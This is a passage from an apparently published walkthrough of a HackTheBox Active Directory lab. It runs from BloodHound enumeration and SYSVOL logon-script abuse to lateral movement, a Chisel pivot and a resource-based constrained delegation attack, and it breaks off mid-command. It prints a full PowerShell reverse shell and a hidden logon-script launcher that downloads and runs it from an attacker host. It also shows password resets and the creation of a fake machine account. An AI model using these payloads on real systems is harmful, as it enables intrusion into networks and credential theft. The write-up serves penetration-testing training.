&lt;p&gt;Nothing directly exploitable surfaced here, so the next step was a full BloodHound sweep. The presence of &lt;code&gt;krbtgt_8245&lt;/code&gt; - a second KDC service account tied to a read-only domain controller (RODC) - is worth noting for later.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Active Directory Enumeration
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodhound-python &lt;span class="nt"&gt;-u&lt;/span&gt; j.arbuckle &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Th1sD4mnC4t!@1978'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; garfield.htb &lt;span class="nt"&gt;-dc&lt;/span&gt; DC01.garfield.htb &lt;span class="nt"&gt;-c&lt;/span&gt; All
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ingesting the collected data into BloodHound revealed a useful, if incomplete, chain:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;l.wilson&lt;/code&gt; -&amp;gt; can reset the password of &lt;code&gt;l.wilson_adm&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;l.wilson_adm&lt;/code&gt; -&amp;gt; can self-add to &lt;code&gt;RODC01 Administrators@garfield.htb&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;l.wilson_adm&lt;/code&gt; -&amp;gt; can change the password of &lt;code&gt;RODC01.garfield.htb&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These paths are promising, but all of them require access to &lt;code&gt;l.wilson&lt;/code&gt; first - and nothing in the graph explains how to get there.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Initial Foothold via SYSVOL
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 The BloodHound Blind Spot
&lt;/h3&gt;

&lt;p&gt;This attack path doesn't appear in BloodHound because of a structural limitation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Object vs. file permissions&lt;/strong&gt; - BloodHound models Active Directory &lt;em&gt;object&lt;/em&gt; ACLs, but does not analyze NTFS permissions inside SYSVOL.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GPO delegation mismatch&lt;/strong&gt; - Administrative delegation (e.g. "Manage Logon Scripts") often grants write access to SYSVOL &lt;em&gt;files&lt;/em&gt; without touching the AD object's own ACL.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The result: attack paths relying on file-level SYSVOL access remain invisible in the BloodHound graph.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;j.arbuckle&lt;/code&gt; is a member of the IT Support group, which prompted manual validation of accessible network shares beyond what BloodHound reported. Using &lt;code&gt;smbclient&lt;/code&gt;, the group turned out to have write access to logon scripts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify write access&lt;/span&gt;
smbclient //&amp;lt;MACHINE-IP&amp;gt;/SYSVOL &lt;span class="nt"&gt;-U&lt;/span&gt; &lt;span class="s1"&gt;'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"cd garfield.htb&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;cripts; put /etc/hosts test.txt"&lt;/span&gt;

putting file /etc/hosts as &lt;span class="se"&gt;\g&lt;/span&gt;arfield.htb&lt;span class="se"&gt;\s&lt;/span&gt;cripts&lt;span class="se"&gt;\t&lt;/span&gt;est.txt &lt;span class="o"&gt;(&lt;/span&gt;1.9 kB/s&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;average 1.9 kB/s&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The upload succeeded - confirming write access to logon scripts, a path invisible to the BloodHound graph but sufficient to compromise &lt;code&gt;l.wilson&lt;/code&gt;, which in turn opens the &lt;code&gt;l.wilson_adm&lt;/code&gt; -&amp;gt; RODC01 chain already identified.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Reverse Shell Payload
&lt;/h3&gt;

&lt;p&gt;A two-stage payload was used to execute code via AD logon scripts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;code&gt;.bat&lt;/code&gt; launcher (&lt;code&gt;evil.bat&lt;/code&gt;) as the logon script itself&lt;/li&gt;
&lt;li&gt;A PowerShell reverse shell (&lt;code&gt;shell.ps1&lt;/code&gt;), downloaded and executed in memory by the launcher&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;PowerShell payload (&lt;code&gt;shell.ps1&lt;/code&gt;):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Net.Sockets.TCPClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;ATTACKER-IP&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4444&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetStream&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;65535&lt;/span&gt;&lt;span class="o"&gt;|%&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;while&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-ne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TypeName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Text.ASCIIEncoding&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$sendback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;2&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Out-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$sendback2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$sendback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PS "&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt; "&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$sendbyte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;text.encoding&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;ASCII&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sendback2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sendbyte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$sendbyte&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Flush&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Logon script launcher (&lt;code&gt;evil.bat&lt;/code&gt;):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;@echo &lt;span class="na"&gt;off&lt;/span&gt;
&lt;span class="kd"&gt;powershell&lt;/span&gt; &lt;span class="na"&gt;-nop -w &lt;/span&gt;&lt;span class="kd"&gt;hidden&lt;/span&gt; &lt;span class="na"&gt;-c &lt;/span&gt;&lt;span class="s2"&gt;"IEX(New-Object Net.WebClient).DownloadString('http://&amp;lt;ATTACKER-IP&amp;gt;/shell.ps1')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This downloads and executes the PowerShell payload entirely in memory (fileless execution) - avoiding writing suspicious files to disk and allowing quick payload iteration.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.3 Hosting and Uploading the Payload
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80

smbclient //&amp;lt;MACHINE-IP&amp;gt;/SYSVOL &lt;span class="nt"&gt;-U&lt;/span&gt; &lt;span class="s1"&gt;'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"cd garfield.htb&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="s2"&gt;cripts; put /path/to/evil.bat evil.bat"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Set &lt;code&gt;l.wilson&lt;/code&gt;'s logon script path to point at the malicious script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;-d&lt;/span&gt; garfield.htb &lt;span class="nt"&gt;-u&lt;/span&gt; j.arbuckle &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Th1sD4mnC4t!@1978'&lt;/span&gt; &lt;span class="nt"&gt;--host&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;set &lt;/span&gt;object l.wilson scriptPath &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"evil.bat"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When &lt;code&gt;l.wilson&lt;/code&gt; next logs in, the logon script runs and a reverse shell connects back to the attacker.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Logon scripts only execute during authentication, so this attack is timing-dependent. Options to speed things up include waiting for a natural login, forcing authentication where possible, or targeting a user known to log in frequently.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  4. Lateral Movement
&lt;/h2&gt;

&lt;p&gt;BloodHound had already flagged that &lt;code&gt;l.wilson&lt;/code&gt; can change the password of &lt;code&gt;l.wilson_adm&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.1 Resetting the Password for l.wilson_adm
&lt;/h3&gt;

&lt;p&gt;From the shell obtained as &lt;code&gt;l.wilson&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ADSI&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="s2"&gt;"LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SetPassword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Password12!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SetInfo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 User Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'l.wilson_adm'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password12!'&lt;/span&gt;

&lt;span class="k"&gt;*&lt;/span&gt;Evil-WinRM&lt;span class="k"&gt;*&lt;/span&gt; PS C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\l&lt;/span&gt;.wilson_adm&lt;span class="se"&gt;\D&lt;/span&gt;ocuments&amp;gt; &lt;span class="nb"&gt;type &lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\l&lt;/span&gt;.wilson_adm&lt;span class="se"&gt;\D&lt;/span&gt;esktop&lt;span class="se"&gt;\U&lt;/span&gt;ser.txt
HTB&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5. Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Writable Objects
&lt;/h3&gt;

&lt;p&gt;With &lt;code&gt;l.wilson_adm&lt;/code&gt; compromised, writable AD objects were enumerated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; garfield.htb &lt;span class="nt"&gt;-u&lt;/span&gt; l.wilson_adm &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password12!'&lt;/span&gt; get writable

distinguishedName: &lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;S-1-5-11,CN&lt;span class="o"&gt;=&lt;/span&gt;ForeignSecurityPrincipals,DC&lt;span class="o"&gt;=&lt;/span&gt;garfield,DC&lt;span class="o"&gt;=&lt;/span&gt;htb
permission: WRITE

distinguishedName: &lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;RODC01,OU&lt;span class="o"&gt;=&lt;/span&gt;Domain Controllers,DC&lt;span class="o"&gt;=&lt;/span&gt;garfield,DC&lt;span class="o"&gt;=&lt;/span&gt;htb
permission: WRITE

distinguishedName: &lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Liz Wilson ADM,CN&lt;span class="o"&gt;=&lt;/span&gt;Users,DC&lt;span class="o"&gt;=&lt;/span&gt;garfield,DC&lt;span class="o"&gt;=&lt;/span&gt;htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;WRITE&lt;/code&gt; on the RODC01 computer object allows modification of its attributes - including &lt;code&gt;msDS-AllowedToActOnBehalfOfOtherIdentity&lt;/code&gt;. Controlling that attribute lets an attacker-controlled machine account impersonate any user when authenticating to RODC01: Resource-Based Constrained Delegation (RBCD).&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 Resource-Based Constrained Delegation (RBCD)
&lt;/h3&gt;

&lt;p&gt;With &lt;code&gt;WRITE&lt;/code&gt; access over RODC01, the plan was to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create a machine account fully controlled by the attacker&lt;/li&gt;
&lt;li&gt;Configure RBCD on RODC01 pointing at that account&lt;/li&gt;
&lt;li&gt;Impersonate a privileged user (Administrator) when requesting a service ticket&lt;/li&gt;
&lt;li&gt;Gain remote access to RODC01&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An initial connection attempt to RODC01 failed outright. Recalling the dual-homed DC discovered during recon, and now knowing the hostname &lt;code&gt;RODC01.garfield.htb&lt;/code&gt;, a DNS lookup was the next step.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.3 Internal Network Discovery
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig @dc01.garfield.htb RODC01.garfield.htb

&lt;span class="p"&gt;;;&lt;/span&gt; ANSWER SECTION:
RODC01.garfield.htb.    1200    IN      A       192.168.100.2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;RODC01&lt;/code&gt; resolves to &lt;code&gt;192.168.100.2&lt;/code&gt; - an RFC1918 private address, confirming the host sits on the internal-only network segment behind the dual-homed DC and isn't directly reachable from the attacker machine.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.4 Pivoting via Chisel
&lt;/h3&gt;

&lt;p&gt;A Chisel server was started on the attacker machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;chisel server &lt;span class="nt"&gt;-p&lt;/span&gt; 8000 &lt;span class="nt"&gt;--reverse&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Chisel was uploaded to the &lt;code&gt;l.wilson_adm&lt;/code&gt; session and connected back to establish a reverse SOCKS tunnel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;upload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/path/to/chisel.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\Chisel.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ATTACKER-IP&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;8000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;R:socks&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Proxychains was then configured to route through the tunnel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/proxychains4.conf
&lt;span class="c"&gt;# Ensure:&lt;/span&gt;
socks5 127.0.0.1 1080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Connectivity to the internal network was verified:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;proxychains nmap &lt;span class="nt"&gt;-p445&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 192.168.100.2

PORT    STATE    SERVICE
445/tcp filtered microsoft-ds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Although the port shows filtered rather than open, receiving any response via proxychains confirms traffic is being successfully routed through the tunnel into the internal segment.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.5 RBCD Exploitation
&lt;/h3&gt;

&lt;p&gt;With &lt;code&gt;l.wilson_adm&lt;/code&gt; controlled and a route to RODC01 established, the RBCD chain was executed to ultimately abuse RODC-specific replication controls and extract sensitive credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Add &lt;code&gt;l.wilson_adm&lt;/code&gt; to RODC Administrators:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Add-ADGroupMember&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Identity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RODC Administrators"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Members&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"l.wilson_adm"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ADGroupMember&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RODC Administrators"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Group membership changes require a new logon session to take effect, so the WinRM session was reconnected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; l.wilson_adm &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password12!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;1. Add a fake computer account.&lt;/strong&gt; By default, domain users can create a limited number of machine accounts (&lt;code&gt;ms-DS-MachineAccountQuota&lt;/code&gt;), which is enough to create a fully attacker-controlled computer object required for RBCD:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;addcomputer.py &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-computer-name&lt;/span&gt; &lt;span class="s1"&gt;'EVIL$'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-computer-pass&lt;/span&gt; &lt;span class="s1"&gt;'EvilPass123!'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'garfield.htb/l.wilson_adm:Password12!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Delegate RODC01 to the fake computer:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rbcd.py &lt;span class="nt"&gt;-delegate-to&lt;/span&gt; &lt;span class="s1"&gt;'RODC01$'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
